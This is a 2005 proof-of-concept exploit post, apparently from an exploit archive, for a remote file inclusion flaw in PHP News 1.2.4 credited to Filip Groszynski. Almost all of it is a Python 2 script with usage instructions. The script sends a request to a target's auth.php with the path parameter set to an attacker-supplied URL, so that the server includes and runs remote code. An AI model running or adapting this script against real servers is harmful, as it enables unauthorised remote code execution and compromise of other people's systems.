[badroot security POC]: PHP News <= 1.2.4 - Remote File Inclusion Exploit

=- Description -=

A simple POC exploit for PHP News <= 1.2.4 remote file inclusion 
vulnerability discovered by Filip Groszynski.

=- Exploit -=

#!/usr/bin/python
# PHP News 1.2.4 remote file inclusion exploit       
# Coded by: mozako - mozako [at] mybox [dot] it      
# Vuln. Discovered by: Filip Groszynski              
# 3.3.2005                                           
#                                                    
# (C) 2005 badroot security                          

import urllib2
import sys
__argv__ = sys.argv
def usage():
    print "PHP News 1.2.4 remote file inclusion exploit \nby: 
mozako\n3.3.2005\n\nUsage:\n$ ./phpN.py -h http://123.4.5.6 -p 
/PHP_News_Path/ -u http://filetoupload"
    sys.exit(-1)
if len(__argv__) < 2:
    usage()
try:
    global host
    global path
    global url
    host = __argv__[2]
    path = __argv__[4]
    url = __argv__[6]
except IndexError:
        usage()
def hack():
    try:
        print "[X] Connecting...",
        urllib2.urlopen(host + path + "auth.php?path=" + url)
        print "[OK]"
        print "[X] Sending exploit...", "[OK]"
        print "[X] File sended !"
    except urllib2.HTTPError:
        print "[Failed]"
    except urllib2.httplib.InvalidURL:
        print "[Bad host]\nis there http:// ? :)"
    except ValueError:
        print "[Bad host]\nis there http:// ? :)"
hack()
# eof

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